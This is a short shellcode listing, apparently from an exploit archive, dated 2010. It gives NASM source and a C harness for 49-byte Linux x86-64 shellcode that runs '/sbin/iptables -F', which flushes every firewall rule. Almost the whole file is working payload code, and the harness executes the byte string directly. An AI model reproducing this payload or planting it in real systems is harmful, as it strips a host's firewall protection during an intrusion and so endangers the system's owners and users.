/*
Title: Linux/x86-64 - execve("/sbin/iptables", ["/sbin/iptables", "-F"], NULL) - 49 bytes
Author: 10n1z3d <10n1z3d[at]w[dot]cn>
Date: Fri 09 Jul 2010 03:26:12 PM EEST
Source Code (NASM):
section .text
global _start
_start:
xor rax, rax
push rax
push word 0x462d
mov rcx, rsp
mov rbx, 0x73656c626174ffff
shr rbx, 0x10
push rbx
mov rbx, 0x70692f6e6962732f
push rbx
mov rdi, rsp
push rax
push rcx
push rdi
mov rsi, rsp
; execve("/sbin/iptables", ["/sbin/iptables", "-F"], NULL);
mov al, 0x3b
syscall
*/
#include <stdio.h>
char shellcode[] = "\x48\x31\xc0\x50\x66\x68\x2d\x46\x48\x89\xe1\x48\xbb\xff\xff"
"\x74\x61\x62\x6c\x65\x73\x48\xc1\xeb\x10\x53\x48\xbb\x2f\x73"
"\x62\x69\x2f\x69\x70\x53\x48\x89\xe7\x50\x51\x57\x48\x89\xe6"
"\xb0\x3b\x0f\x05";
int main()
{
printf("Length: %d bytes.\n'", strlen(shellcode));
(*(void(*)()) shellcode)();
return 0;
}